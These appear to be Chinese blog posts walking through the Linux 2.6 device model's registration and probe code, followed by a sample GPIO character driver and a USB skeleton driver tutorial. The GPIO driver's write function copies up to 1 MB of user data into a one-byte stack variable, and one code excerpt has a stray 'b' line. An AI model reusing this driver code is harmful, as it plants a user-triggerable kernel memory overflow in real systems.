Cd  / sys/bus/usb
用ls命令查看:
devices  drivers  drivers_autoprobe  drivers_probe  uevent
与上面分析的相吻合
 
设备的注册接口为: device_register().
int device_register(struct device *dev)
{
     device_initialize(dev);
     return device_add(dev);
}
Device_initialize()中有几个很重要的操作,如下:
void device_initialize(struct device *dev)
{
     dev->kobj.kset = devices_kset;
     kobject_init(&dev->kobj, &device_ktype);
     klist_init(&dev->klist_children, klist_children_get,
            klist_children_put);
     INIT_LIST_HEAD(&dev->dma_pools);
     INIT_LIST_HEAD(&dev->node);
     init_MUTEX(&dev->sem);
     spin_lock_init(&dev->devres_lock);
     INIT_LIST_HEAD(&dev->devres_head);
     device_init_wakeup(dev, 0);
     set_dev_node(dev, -1);
}
在这里,它为device的内嵌kobject指定了ktype和kset.device_kset的值如下:
devices_kset = kset_create_and_add("devices", &device_uevent_ops, NULL);
即对应sysfs中的/sys/devices
device_ktype 中对属性的读写操作同bus中的类似,被回溯到了struct device_attribute中的show 和store.
接着往下看device_add()的实现.这个函数比较长,分段分析如下:
int device_add(struct device *dev)
{
     struct device *parent = NULL;
     struct class_interface *class_intf;
     int error;
 
     dev = get_device(dev);
     if (!dev || !strlen(dev->bus_id)) {
         error = -EINVAL;
         goto Done;
     }
 
     pr_debug("device: '%s': %s\n", dev->bus_id, __FUNCTION__);
 
     parent = get_device(dev->parent);
     setup_parent(dev, parent);
 
     /* first, register with generic layer. */
     error = kobject_add(&dev->kobj, dev->kobj.parent, "%s", dev->bus_id);
     if (error)
         goto Error;
     如果注册device的时候,没有指定父结点,在kobject_add将会在/sys/device/下建立相同名称的目录
     /* notify platform of device entry */
     if (platform_notify)
         platform_notify(dev);
 
     /* notify clients of device entry (new way) */
     if (dev->bus)
         blocking_notifier_call_chain(&dev->bus->p->bus_notifier,
                            BUS_NOTIFY_ADD_DEVICE, dev);
 
忽略notify部份,这部份不会影响本函数的流程
 
     error = device_create_file(dev, &uevent_attr);
     if (error)
         goto attrError;
 
     if (MAJOR(dev->devt)) {
         error = device_create_file(dev, &devt_attr);
         if (error)
              goto ueventattrError;
     }
建立属性为uevent_attr的属性文件,如果device中指定了设备号,则建立属性为devt_attr的属性文件
 
     error = device_add_class_symlinks(dev);
     if (error)
         goto SymlinkError;
     error = device_add_attrs(dev);
     if (error)
         goto AttrsError;
     error = dpm_sysfs_add(dev);
     if (error)
         goto PMError;
     device_pm_add(dev);
在这里,不打算讨论class的部份,dpm pm是选择编译部份,不讨论. device_add_attrs中涉及到了group的部分,暂不讨论
     error = bus_add_device(dev);
     if (error)
         goto BusError;
     kobject_uevent(&dev->kobj, KOBJ_ADD);
     bus_attach_device(dev);
     if (parent)
         klist_add_tail(&dev->knode_parent, &parent->klist_children);
 
     if (dev->class) {
         down(&dev->class->sem);
         /* tie the class to the device */
         list_add_tail(&dev->node, &dev->class->devices);
 
         /* notify any interfaces that the device is here */
         list_for_each_entry(class_intf, &dev->class->interfaces, node)
              if (class_intf->add_dev)
                   class_intf->add_dev(dev, class_intf);
         up(&dev->class->sem);
     }
bus_add_device()会在对应总线代表目录的device目录下创建几个到device的链接.然后产生一个add事件,再调用bus_attach_device()去匹配已经注册到总线的驱动程序.全部做完之后,将设备挂到父结点的子链表.
 Done:
     put_device(dev);
     return error;
 BusError:
     device_pm_remove(dev);
 PMError:
     if (dev->bus)
         blocking_notifier_call_chain(&dev->bus->p->bus_notifier,
                            BUS_NOTIFY_DEL_DEVICE, dev);
     device_remove_attrs(dev);
 AttrsError:
     device_remove_class_symlinks(dev);
 SymlinkError:
     if (MAJOR(dev->devt))
         device_remove_file(dev, &devt_attr);
 ueventattrError:
     device_remove_file(dev, &uevent_attr);
 attrError:
     kobject_uevent(&dev->kobj, KOBJ_REMOVE);
     kobject_del(&dev->kobj);
 Error:
     cleanup_device_parent(dev);
     if (parent)
         put_device(parent);
     goto Done;
}
出错处理部份.
 
bus_attach_device()是一个很重要的函数。它将设备自动与挂在总线上面的驱动进行匹配。代码如下:
void bus_attach_device(struct device *dev)
{
     struct bus_type *bus = dev->bus;
     int ret = 0;
 
     if (bus) {
         dev->is_registered = 1;
         if (bus->p->drivers_autoprobe)
              ret = device_attach(dev);
         WARN_ON(ret < 0);
         if (ret >= 0)
              klist_add_tail(&dev->knode_bus, &bus->p->klist_devices);
         else
              dev->is_registered = 0;
     }
}
从上面的代码我们可以看出。只有在bus->p->drivers_autoprobe为1的情况下,才会去自己匹配。这也就是bus目录下的drivers_probe 文件的作用.然后,将设备挂到总线的设备链表。
Device_attach()代码如下:
int device_attach(struct device *dev)
{
     int ret = 0;
 
     down(&dev->sem);
     if (dev->driver) {
         ret = device_bind_driver(dev);
         if (ret == 0)
              ret = 1;
         else {
              dev->driver = NULL;
              ret = 0;
         }
     } else {
         ret = bus_for_each_drv(dev->bus, NULL, dev, __device_attach);
     }
     up(&dev->sem);
     return ret;
}
对于设备自己已经指定驱动的情况,只需要将其直接和驱动绑定即可。如果没有指定驱动。就匹配总线之上的驱动。这是在bus_for_each_drv(dev->bus, NULL, dev, __device_attach);完成的。代码如下:
int bus_for_each_drv(struct bus_type *bus, struct device_driver *start,
              void *data, int (*fn)(struct device_driver *, void *))
{
     struct klist_iter i;
     struct device_driver *drv;
     int error = 0;
 
     if (!bus)
         return -EINVAL;
 
     klist_iter_init_node(&bus->p->klist_drivers, &i,
                   start ? &start->p->knode_bus : NULL);
     while ((drv = next_driver(&i)) && !error)
         error = fn(drv, data);
     klist_iter_exit(&i);
     return error;
}
很明显,这个函数就是遍历总线之上的驱动。每遍历一个驱动就调用一次回调函数进行判断。如果回调函数返回不为0。就说明匹配已经成功了。不需要再匹配剩余的。退出。在这里调用的回调函数是__device_attach().在这里。完全了设备与驱动匹配的最核心的动作。代码如下:
static int __device_attach(struct device_driver *drv, void *data)
{
     struct device *dev = data;
     return driver_probe_device(drv, dev);
}
转到driver_probe_device():
int driver_probe_device(struct device_driver *drv, struct device *dev)
{
     int ret = 0;
 
     if (!device_is_registered(dev))
         return -ENODEV;
     if (drv->bus->match && !drv->bus->match(dev, drv))
         goto done;
 
     pr_debug("bus: '%s': %s: matched device %s with driver %s\n",
          drv->bus->name, __FUNCTION__, dev->bus_id, drv->name);
 
     ret = really_probe(dev, drv);
 
done:
     return ret;
}
如果设备没有注册到总线之上。即dev->is_registered不为1. 就直接返回。
然后,再调用总线的match()函数进行匹配。如果match()函数返回0.说明匹配失败。那退出此函数。如果match函数返回1.说明初步的检查已经通过了。可以进入really_probe()再进行细致的检查。如果匹配成功,这个函数会返回1.此函数比较长而且比较重要,分段列出代码:
static int really_probe(struct device *dev, struct device_driver *drv)
{
     int ret = 0;
 
     atomic_inc(&probe_count);
     pr_debug("bus: '%s': %s: probing driver %s with device %s\n",
          drv->bus->name, __FUNCTION__, drv->name, dev->bus_id);
     WARN_ON(!list_empty(&dev->devres_head));
 
     dev->driver = drv;
     if (driver_sysfs_add(dev)) {
         printk(KERN_ERR "%s: driver_sysfs_add(%s) failed\n",
              __FUNCTION__, dev->bus_id);
         goto probe_failed;
     }
先假设驱动和设备是匹配的。为设备结构设置驱动成员。使其指向匹配的驱动。然后再调用driver_sysfs_add()建立几个符号链接。这几个链接分别为:
1:在驱动目录下建立一个到设备的同名链接
2:在设备目录下建立一个名为driver。到驱动的链接
 
     if (dev->bus->probe) {
         ret = dev->bus->probe(dev);
         if (ret)
              goto probe_failed;
     } else if (drv->probe) {
         ret = drv->probe(dev);
         if (ret)
              goto probe_failed;
     }
然后,再调用总线的probe函数。如果总线的此函数不存在。就会调用驱动的probe函数。如果匹配成功,返回0.如果不成功,就会跳转到probe_failed
 
     driver_bound(dev);
     ret = 1;
     pr_debug("bus: '%s': %s: bound device %s to driver %s\n",
          drv->bus->name, __FUNCTION__, dev->bus_id, drv->name);
     goto done;
到这里。设备和驱动已经匹配成功,调用driver_bound()将其关联起来。在这个函数里:
会将设备加至驱动的设备链表。这在我们之前分析bus,device driver中分析到的。相关的代码如下示:
     klist_add_tail(&dev->knode_driver, &dev->driver->p->klist_devices);
至此,这个匹配过程已经圆满结束了。返回1
 
probe_failed:
     devres_release_all(dev);
     driver_sysfs_remove(dev);
     dev->driver = NULL;
 
     if (ret != -ENODEV && ret != -ENXIO) {
         /* driver matched but the probe failed */
         printk(KERN_WARNING
                "%s: probe of %s failed with error %d\n",
                drv->name, dev->bus_id, ret);
     }
     /*
      * Ignore errors returned by ->probe so that the next driver can try
      * its luck.
      */
     ret = 0;
这里是匹配不成功的处理,在这里,删除之前建立的几个链接文件,然后将设备的driver域置空。
done:
     atomic_dec(&probe_count);
     wake_up(&probe_waitqueue);
     return ret;
}
 
从上面的分析可以看到,对应创建的属性文件分别为:uevent_attr devt_attr。它们的定义如下:
static struct device_attribute uevent_attr =
     __ATTR(uevent, S_IRUGO | S_IWUSR, show_uevent, store_uevent);
static struct device_attribute devt_attr =
     __ATTR(dev, S_IRUGO, show_dev, NULL);
uevent_attr对应的读写函数分别为:show_uevent store_uevent。先分析读操作。它的代码如下:
static ssize_t show_uevent(struct device *dev, struct device_attribute *attr,
                 char *buf)
{
     struct kobject *top_kobj;
     struct kset *kset;
     struct kobj_uevent_env *env = NULL;
     int i;
     size_t count = 0;
     int retval;
 
     /* search the kset, the device belongs to */
     top_kobj = &dev->kobj;
     while (!top_kobj->kset && top_kobj->parent)
         top_kobj = top_kobj->parent;
     if (!top_kobj->kset)
         goto out;
 
     kset = top_kobj->kset;
     if (!kset->uevent_ops || !kset->uevent_ops->uevent)
         goto out;
 
     /* respect filter */
     if (kset->uevent_ops && kset->uevent_ops->filter)
         if (!kset->uevent_ops->filter(kset, &dev->kobj))
              goto out;
 
     env = kzalloc(sizeof(struct kobj_uevent_env), GFP_KERNEL);
     if (!env)
         return -ENOMEM;
 
     /* let the kset specific function add its keys */
     retval = kset->uevent_ops->uevent(kset, &dev->kobj, env);
     if (retval)
         goto out;
 
     /* copy keys to file */
     for (i = 0; i < env->envp_idx; i++)
         count += sprintf(&buf[count], "%s\n", env->envp[i]);
out:
     kfree(env);
     return count;
}
从代码可以看出。这里会显示出由设备对应的kset.也就是由devices_kset所产生的环境变量。例如,在shell中输入如下指令:
Cat /sys/devices/LNXSYSTM:00/ uevent
输出结果如下:
PHYSDEVBUS=acpi
MODALIAS=acpi:LNXSYSTM:
这就是由devices_kset所添加的环境变量
 
写操作对应的代码如下:
static ssize_t store_uevent(struct device *dev, struct device_attribute *attr,
                  const char *buf, size_t count)
{
     enum kobject_action action;
 
     if (kobject_action_type(buf, count, &action) == 0) {
         kobject_uevent(&dev->kobj, action);
         goto out;
     }
 
     dev_err(dev, "uevent: unsupported action-string; this will "
              "be ignored in a future kernel version\n");
     kobject_uevent(&dev->kobj, KOBJ_ADD);
out:
     return count;
}
从上面的代码可以看出。这个文件的作用是输入一个字符字串。如果字符不合法,就会默认产生一个add事件。
 
devt_attr对应的读写函数为show_dev NULL.写函数为空,也就是说这个属性文件不允许写。只允许读。读操作的代码如下示:
static ssize_t show_dev(struct device *dev, struct device_attribute *attr,
              char *buf)
{
     return print_dev_t(buf, dev->devt);
}
也就是说,会将设备号显示出来.
 
分析完了bus.device.再接着分析driver.这里我们要分析的最后一个元素了。耐着性子往下看,快要完了^_^
 
驱动注册的接口为:driver_register().代码如下:
int driver_register(struct device_driver *drv)
{
     int ret;
 
     if ((drv->bus->probe && drv->probe) ||
         (drv->bus->remove && drv->remove) ||
         (drv->bus->shutdown && drv->shutdown))
         printk(KERN_WARNING "Driver '%s' needs updating - please use "
              "bus_type methods\n", drv->name);
     ret = bus_add_driver(drv);
     if (ret)
         return ret;
     ret = driver_add_groups(drv, drv->groups);
     if (ret)
         bus_remove_driver(drv);
     return ret;
}
如果设备与总线定义了相同的成员的函数。内核是优先使用bus中定义的.这一点我们在分析device注册的时候已经分析过。所以。这里打印出警告信息,用来提醒代码编写者。在这里,忽略有关group的东西。剩余的便只剩下bus_add_driver().代码如下:
int bus_add_driver(struct device_driver *drv)
{
     struct bus_type *bus;
     struct driver_private *priv;
     int error = 0;
 
     bus = bus_get(drv->bus);
     if (!bus)
         return -EINVAL;
 
     pr_debug("bus: '%s': add driver %s\n", bus->name, drv->name);
 
     priv = kzalloc(sizeof(*priv), GFP_KERNEL);
     if (!priv) {
         error = -ENOMEM;
         goto out_put_bus;
     }
     klist_init(&priv->klist_devices, NULL, NULL);
     priv->driver = drv;
     drv->p = priv;
     priv->kobj.kset = bus->p->drivers_kset;
     error = kobject_init_and_add(&priv->kobj, &driver_ktype, NULL,
                        "%s", drv->name);
初始化驱动的driver_private域。使其内嵌的kobject的kset指bus中的drivers_kset.这样,这个内嵌的kobject所生成的目录就会存在于bus对应目录的driver目录之下。这里还要注意的是,为内嵌kobject指定的ktype是driver_ktype.属性文件的读写操作都回回溯到struct driver_attribute中。这在之后再分析.
 
     if (error)
         goto out_unregister;
 
     if (drv->bus->p->drivers_autoprobe) {
         error = driver_attach(drv);
         if (error)
              goto out_unregister;
     }
     klist_add_tail(&priv->knode_bus, &bus->p->klist_drivers);
b
     module_add_driver(drv->owner, drv);
如果总线允许自动进行匹配。就会调用driver_attach()进行这个自己匹配过程。这个函数跟我们在上面分析的device自动匹配过程是一样的。请自行分析.最后,将驱动挂到bus对应的驱动链表
 
     error = driver_create_file(drv, &driver_attr_uevent);
     if (error) {
         printk(KERN_ERR "%s: uevent attr (%s) failed\n",
              __FUNCTION__, drv->name);
     }
生成一个属性为driver_attr_uevent的属性文件
 
     error = driver_add_attrs(bus, drv);
     if (error) {
         /* How the hell do we get out of this pickle? Give up */
         printk(KERN_ERR "%s: driver_add_attrs(%s) failed\n",
              __FUNCTION__, drv->name);
     }
为bus中的driver属性生成属性文件
 
     error = add_bind_files(drv);
     if (error) {
         /* Ditto */
         printk(KERN_ERR "%s: add_bind_files(%s) failed\n",
              __FUNCTION__, drv->name);
     }
生成属性为driver_attr_unbind和driver_attr_bind的属性文件
 
     kobject_uevent(&priv->kobj, KOBJ_ADD);
生成一个add事件
     return error;
out_unregister:
     kobject_put(&priv->kobj);
out_put_bus:
     bus_put(bus);
     return error;
}
总的来说,这个函数比较简单。其中涉及到的子函数大部份都在之前分析过。我们接下来分析一下。它所创建的几个属性文件的含义。
如上所述。在这里会创建三个属性文件,对应属性分别为:driver_attr_uevent,driver_attr_unbind,driver_attr_bind。这几个属性的定义如下:
static DRIVER_ATTR(uevent, S_IWUSR, NULL, driver_uevent_store);
static DRIVER_ATTR(unbind, S_IWUSR, NULL, driver_unbind);
static DRIVER_ATTR(bind, S_IWUSR, NULL, driver_bind);
DRIVER_ATTR宏的定义如下:
#define DRIVER_ATTR(_name, _mode, _show, _store)   \
struct driver_attribute driver_attr_##_name =      \
     __ATTR(_name, _mode, _show, _store)
 
对于driver_attr_uevent.它的读写函数分别为:NULL。driver_uevent_store。也就是说这个文件只允许写,不允许读操作。写操作的代码如下示:
static ssize_t driver_uevent_store(struct device_driver *drv,
                      const char *buf, size_t count)
{
     enum kobject_action action;
 
     if (kobject_action_type(buf, count, &action) == 0)
         kobject_uevent(&drv->p->kobj, action);
     return count;
}
很明显,这是一个手动产生事件的过程。用户可间可以写事件到这个文件来产生事件。
对于driver_unbind.它的读写函数分别为:NULL driver_unbind。这个文件也是不允许读的。写操作代码如下:
static ssize_t driver_unbind(struct device_driver *drv,
                   const char *buf, size_t count)
{
     struct bus_type *bus = bus_get(drv->bus);
     struct device *dev;
     int err = -ENODEV;
 
     dev = bus_find_device_by_name(bus, NULL, buf);
     if (dev && dev->driver == drv) {
         if (dev->parent)   /* Needed for USB */
              down(&dev->parent->sem);
         device_release_driver(dev);
         if (dev->parent)
              up(&dev->parent->sem);
         err = count;
     }
     put_device(dev);
     bus_put(bus);
     return err;
}
从上面的代码可以看出。写入文件的是一个设备名称。这个函数对应操作是将这个设备与驱动的绑定分离开来。
 
driver_attr_bind属性对应的读写函数分别为NULL。driver_attr_bind 即也是不允许写的。从字面意思和上面分析的driver_attr_unbind操作代码来看,这个属性对应的写函数应该是将写入的设备文件与此驱动绑定起来。我们来看下代码。以证实我们的猜测。代码如下:
static ssize_t driver_bind(struct device_driver *drv,
                 const char *buf, size_t count)
{
     struct bus_type *bus = bus_get(drv->bus);
     struct device *dev;
     int err = -ENODEV;
 
     dev = bus_find_device_by_name(bus, NULL, buf);
     if (dev && dev->driver == NULL) {
         if (dev->parent)   /* Needed for USB */
              down(&dev->parent->sem);
         down(&dev->sem);
         err = driver_probe_device(drv, dev);
         up(&dev->sem);
         if (dev->parent)
              up(&dev->parent->sem);
 
         if (err > 0) {
              /* success */
              err = count;
         } else if (err == 0) {
              /* driver didn't accept device */
              err = -ENODEV;
         }
     }
     put_device(dev);
     bus_put(bus);
     return err;
}
果然,和我们猜测的是一样的。
 
五:小结
在这一节里,分析了设备模型中的最底层的元素和他们之间的关系。也分析了它们建立的几个属性文件的含义。到这里,我们已经可以自己写驱动架构代码了.^_^
posted @ 2009-06-11 21:31 MEYE 阅读(609) | 评论 (0)编辑 收藏

linux下的GPIO驱动 2009-06-05 08:29

字号:    

编写驱动程序,首先要了解是什么类型的设备。linux下的设备分为三类,分别为:字符设备,块设备和网络设备。字符设备类型是根据是否以字符流为数据的交换方式,大部分设备都是字符设备,如键盘,串口等,块设备则是以块为单位进行管理的设备,如,磁盘。网络设备就是网卡等。

其次要了解应用程序和驱动程序的区别,两者的主要区别分为以下三点:

1入口函数的任务不相同,应用程序完成一个任务,驱动只完成初始化工作,比如中断

      申请,寄存器设置,定时器设置。

2运行时的cpu模式不相同,驱动具有很高的权限,应用程序是在用户态下运行,而驱

  动程序是在内核态下执行。

3 驱动程序不能调用C库函数,内核为驱动程序提供一些函数。如printk(KERN_NOTICE fmt, ##arg),第一个参数为打印级别,有如下的打印级别:

KERN_EMERG 用于紧急事件,一般是系统崩溃前的提示信息

KERN_ALERT 用于需要立即采取动作的场合

KERN_CRIT 临界状态,通常设计验证的硬件或软件操作失败

KERN_ERR 用于报告错误状态.设备驱动程序通常会用它报告来自硬件的问题

KERN_WARNING 就可能出现的问题提出警告.这些问题通常不会对系统造成严重破坏

KERN_NOTICE 有必要提示的正常情况.许多安全相关的情况用这个级别汇报

KERN_INFO 提示性信息.有很多驱动程序在启动时用这个级别打印相关信息

KERN_DEBUG 用于调试的信息

u_long copy_from_user(void *to, const void *from, u_long len),由用户态拷贝到内核态;

u_long copy_to_user(void * to, const void *from, u_long len),由内核态拷贝到用户态。

鉴于以上区别,驱动程序需要完成以下三点基本功能:

1:要对设备进行初始化和释放功能模块,就如上面的寄存器设置,中断的申请,向内核注 

   册驱动程序(register_chrdev()),卸载驱动程序(unregister_chrdev())。

2:能进行数据传输,在read(),write()函数里具体实现,数据传输工作。

3:能进行控制操作,给用户提供的ioctl()函数里可实现一些用户的选择性设置功能。

确定一个设备的执行函数集(结构体)

static struct file_operations myGPIO_fops = {

owner: THIS_MODULE,

write: myGPIO_write,

read: myGPIO_read,

ioctl: myGPIO_ioctl,

open: myGPIO_open,

release: myGPIO_release,

};

接下来是初始化工作,需要写在一个init()函数中,这个函数是独立的也是自动执行的,在这之中主要是对一些寄存器进行初始化操作。同样需要完成卸载驱动模块。

myGPIO_Major = register_chrdev(0, DRIVER_NAME, &myDriver_fops);

上面的程序完成设备号的注册,第一个参数为主设备号,一般为0,由系统来分配。

第二个参数为设备名,这需要在/dev/(/dev目录下设备名由命令 <mknod  设备名 C 主设备号  从设备号>来生成)目录下出现的设备名相符合。相反的在卸载中就取消注册

unregister_chrdev(myGPIO_Major, DRIVER_NAME);

最后将这两个模块加入到内核中,由程序段的最后两行完成。

static int __init myGPIO_init(void)

{

PRINTK("GPIO init\n");

myGPIO_Major = register_chrdev(0, DRIVER_NAME, &myGPIO_fops);

if(myGPIO_Major < 0)

{

PRINTK("register char device fail!\n");

return myGPIO_Major;

}

PRINTK("register myGPIO OK! Major = %d\n", myGPIO_Major);

#ifdef CONFIG_DEVFS_FS

devfs_myDriver_dir = devfs_mk_dir(NULL, "GPIO", NULL);

devfs_myDriver_raw = devfs_register(devfs_myDriver_dir, "raw0", DEVFS_FL_DEFAULT, myGPIO_Major, 0, S_IFCHR | S_IRUSR | S_IWUSR, &myGPIO_fops, NULL);

PRINTK("add dev file to devfs OK!\n");

#endif

return 0;

}

static void __exit myGPIO_exit(void)

{

/* Module exit code */

PRINTK("GPIO exit\n");

/* Driver unregister */

if(myGPIO_Major > 0)

{

#ifdef CONFIG_DEVFS_FS

devfs_unregister(devfs_myDriver_raw);

devfs_unregister(devfs_myDriver_dir);

#endif

unregister_chrdev(myGPIO_Major, DRIVER_NAME);

}

return;

}

MODULE_AUTHOR("LiuFan");

MODULE_LICENSE("Dual BSD/GPL");

module_init(myGPIO_init);

module_exit(myGPIO_exit);

设备执行函数功能的实现将在下面完成。如结构体的函数,但并不是全都需要实现。open()函数中是执行一些设备工作前的初始化工作。rlease()则是将设备的相关寄存器恢复到原来的值。read()函数是将设备中的数据拷贝到内核,write()函数是将内核数据拷贝到对应的设备中。MOD_INC_USE_COUNT和MOD_DEC_USE_COUNT两个宏是提供给系统对硬件资源进行控制访问的。在open()和rlease()两个函数中最基本的操作应是实现以上两个宏的操作。

static unsigned char myGPIO_Buffer[1024*1024];

/* Driver Operation Functions */

static int myGPIO_open(struct inode *inode, struct file *filp)

{

// int Minor = MINOR(inode->i_rdev);

// filp->private_data = 0;

MOD_INC_USE_COUNT;

PRINTK("myDriver open called!\n");

return 0;

}

static int myGPIO_release(struct inode *inode, struct file *filp)

{

// int Minor = MINOR(inode->i_rdev);

MOD_DEC_USE_COUNT;

PRINTK("myDriver release called!\n");

return 0;

}

static ssize_t myGPIO_read(struct file *filp, char *buf, size_t count, loff_t *f_pos)

{

char dat;

size_t read_size = count;

PRINTK("GPIO read called!\n");

PRINTK("\tcount=%d, pos=%d\n", count, (int)*f_pos);

/* if(*f_pos >= sizeof(myGPIO_Buffer))

{

PRINTK("[GPIO read]Buffer Overlap\n");

*f_pos = sizeof(myGPIO_Buffer);

return 0;

}

if((count + *f_pos) > sizeof(myGPIO_Buffer))

{

PRINTK("count + f_pos > sizeof buffer\n");

read_size = sizeof(myGPIO_Buffer) - *f_pos;

}*/

dat= GPFDAT;

copy_to_user(buf,&dat,1);

// *f_pos += read_size;

return read_size;

}

static ssize_t myGPIO_write(struct file *filp,const char *buf, size_t count, loff_t *f_pos)

{

char dat;

size_t fill_size = count;

PRINTK("myDriver write called!\n");

PRINTK("\tcount=%d, pos=%d\n", count, (int)*f_pos);

if(*f_pos >= sizeof(myGPIO_Buffer))

{

PRINTK("[myDriver write]Buffer Overlap\n");

*f_pos = sizeof(myGPIO_Buffer);

return 0;

}

if((count + *f_pos) > sizeof(myGPIO_Buffer))

{

PRINTK("count + f_pos > sizeof buffer\n");

fill_size = sizeof(myGPIO_Buffer) - *f_pos;

}

copy_from_user(&dat,buf,fill_size);

GPFDAT = dat;

// *f_pos += fill_size;

return fill_size;

}

控制ioctl() 函数则是提供给应用层的接口函数,功能并不是固定的,由开发者定义,一般都是对硬件的一些除过上述功能的其他操作。

static int myGPIO_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg)

{

int i;

unsigned int mask=0x01;

GPFUP = 0x00;

PRINTK("myGPIO ioctl called(%d)!\n", cmd);

    switch(cmd)

{

case MOD_IN:

for(i=0;i<8;i++)

{

if((mask & arg)!=0x0)

{

GPFCON &=~(3<<i*2); 

}

mask =mask << 1;

}

break;

case MOD_OUT:

 PRINTK("IOCTRL 0 called(0x%lx)!\n", arg);

 for(i=0;i<8;i++)

 {

 if((mask & arg)!=0x00)

 {

        GPFCON &= ~(3 <<( i*2));

GPFCON |=(0x01<<(i*2));

 }

mask=mask<<1;

 }

 break;

case MOD_EXIT_INT:

PRINTK("IOCTRL 1 called(0x%lx)!\n", arg);

GPFDAT = 0xFFFFFF00;

break;

default:

break;

}

return 0;

}

posted @ 2009-06-11 21:30 MEYE 阅读(2599) | 评论 (0)编辑 收藏

2009-05-25 | 嵌入式Linux下USB驱动程序的设计

 
标签: Linux  嵌入式  USB  驱动 

一、引言

    USB(Universal Serial Bus)即通用串行总线,是一种全新的双向同步传输的支持热插拔的数据传输总线,其目的是为了提供一种兼容不同速度的、可扩充的并且使用方便的外围设备接口,同时也是为了解决计算机接口的太多的弊端而设计的。一个USB系统主要有三部分组成:USB互连、USB主机、USB设备三部分组成的,其结构如图1 所示。在编写USB设备驱动程序设计时,可以分为三部分编写:主机端设备驱动程序、主机控制器驱动程序设计和设备端驱动程序三部分,在本文中重点介绍主机端驱动程序的设计。

    二、USB设备驱动程序的设计

    USB设备驱动程序的设计包括主机端设备驱动程序设计、主机控制器驱动程序设计和设备端驱动程序设计三部分组成。主机端设备驱动程序就是通常说的设备驱动程序,它是主机环境中为用户应用程序提供一个访问USB外设的接口。Linux为这部分驱动程序提供编程接口,驱动程序设计者只要按照需求编写驱动程序框架,通过调用操作系统提供的API接口函数可以完成对USB外设的特定访问。

    主机控制驱动主要是对USB主机控制器的驱动,在大多数PC环境下,主机控制器都是由操作系统提供。嵌入式设备一般都没有USB主机控制器,只是工作在 Slave模式下。如果要使USB具有主机功能,那么设备中需要选用一个带主机控制器的USB接口控制芯片,同时自己还要有实现该主机控制器的驱动程序。目前Linux内核中只提供USB主机控制器的开放主机控制器和通用主机控制器接口两种规格,而这两种规格主要用在PC架构中。USB主机端驱动程序与主机控制器的结构如图2所示。其中USB核是Linux的一个子模块,集中定义了一组USB相关的数据结构、宏以及API函数。

    USB设备驱动程序是常说的设备固件程序的一部分,提供设备信息与主机的通信接口。设备端USB驱动程序设计由以下几部分处理程序组成。初始化例程:完成描述符指针、端点、配置改变等操作。数据传输例程:完成控制传输、批量传输、中断传输及同步传输等传输方式下的数据收发工作。标准设备处理请求:处理标准设备请求。厂商请求处理:处理生产商指定请求。其他操作:处理主机发出的端口复位、配置改变等操作。

   1.USB设备驱动程序框架

    USB驱动程序首先要向Linux内核注册自己,并告诉系统它所支持的设备类型以及它所支持的操作。这些信息通过一个usb_driver结构来传递。usb_driver结构如下:

    static struct usb_driver skel_driver = {

    name: "skeleton";/*驱动程序的名称*/

    probe: skel_probe; /*设备列举时被调用*/

    disconnect: skel_disconnect; /*设备被卸载时被调用*/

    fops: &skel_fops; /*指向一个file_operation结构,内核通过它来访问驱动程序的文件操作函数,与用户程序的read、write等操作进行交互*/

    minor USB_SKEL_MINOR_BASE; /*指向设备的次设备号,用于系统识别主设备号相同的设备(即一个驱动程序可以同时支持多个USB设备*/

    id_table: skel_table; /*保存设备的厂商ID和产品ID,作为该设备的唯一标识,驱动程序向系统注册后,当下次插入时,系统根据这个标识查找正确的驱动程序,实现设备的即插即用*/

    };

    static struct file_operation skel_fops={

    {

    owner:THIS_MODULE,

    read:skel_read,

    write:skel_write,

    ioctl:skel_ioctl,

    open:skel_open,

    release:skel_release,

    };

    (1)注册和注销

    USB驱动程序注册,就是把在初始化函数中填好的use_driver结构作为参数传递给
   
    use_register()函数即可,函数的调用方法为:

    result=usb_register(&skel_driver);

    当要从系统卸载驱动程序时,也是将use_driver结构作为参数传递给usb_deregister 函数处理。 函数的调用格式为:

    static void __exit usb_skel_exit(void)

    { /* deregister this driver with the USB subsystem */

    usb_deregister(&skel_driver);

    }

    module_exit(usb_skel_exit);

    当USB设备插入时,为了使linux-hotplug(Linux中PCI、USB等设备热插拔支持)系统自动装载驱动程序,需要创建一个MODULE_DEVICE_TABLE。核心代码如下(这个模块仅支持某一特定设备):

    /* table of devices that work with this driver */

    static struct usb_device_id skel_table [] = {

    { USB_DEVICE(USB_SKEL_VENDOR_ID,

    USB_SKEL_PRODUCT_ID) },

    { } /* Terminating entry */

    };

    MODULE_DEVICE_TABLE (usb, skel_table);

    USB_DEVICE宏利用厂商ID和产品ID提供了一个设备的唯一标识。当系统插入一个ID匹配的USB设备到USB总线时,驱动会在USB core中注册,驱动程序中probe 函数也就会被调用。usb_device 结构指针、接口号和接口ID都会被传递到函数中。

    (2)probe()函数

    probe()函数的编写格式为:static void * skel_probe(struct usb_device *dev, unsigned int ifnum, const struct usb_device_id *id);驱动程序需要确认插入的设备是否可以被接受,如果不接受,或者在初始化的过程中发生任何错误,probe()函数返回一个NULL值。否则返回一个含有设备驱动程序状态的指针,通过这个指针,就可以访问所有结构中的回调函数。

    在驱动程序里,最后一点是要注册devfs(设备文件系统)。首先创建一个缓冲用来保存那些被发送给USB设备的数据和那些从设备上接受的数据,并为设备传输创建一个USB请求块(URB)以向设备写入数据,同时USB urb 被初始化,然后在devfs子系统中注册设备,允许devfs用户访问USB的设备。注册过程如下:

    /* initialize the devfs node for this device and register it */

    sprintf(name, "skel%d", skel->minor);

    skel->devfs = devfs_register (usb_devfs_handle, name, DEVFS_FL_DEFAULT, USB_MAJOR, USB_SKEL_MINOR_BASE + skel->minor, S_IFCHR | S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH, &skel_fops, NULL);

    如果devfs_register函数失败, devfs子系统会将此情况报告给用户。如果设备从USB总线拔掉,设备指针会调用disconnect 函数。驱动程序就需要清除那些被分配了的所有私有数据、关闭urbs,并且从devfs上注销调自己。调用函数的格式为:

    /* remove our devfs node */

    devfs_unregister(skel->devfs);

    现在,skeleton驱动就已经和设备绑定上了,任何用户态程序要操作此设备都可以通过file_operations结构所定义的函数进行了。

    (3)open()、write()和read()函数

    首先,要打开此设备。在open()函数中MODULE_INC_USE_COUNT 宏是一个关键,它起到一个计数的作用,有一个用户态程序打开一个设备,计数器就加1。例如,以模块方式加入一个驱动,若计数器不为零,就说明仍然有用户程序在使用此驱动,这时候,就不能通过rmmod命令卸载驱动模块了。

    /* increment our usage count for the module */

    MOD_INC_USE_COUNT;

    ++skel->open_count;

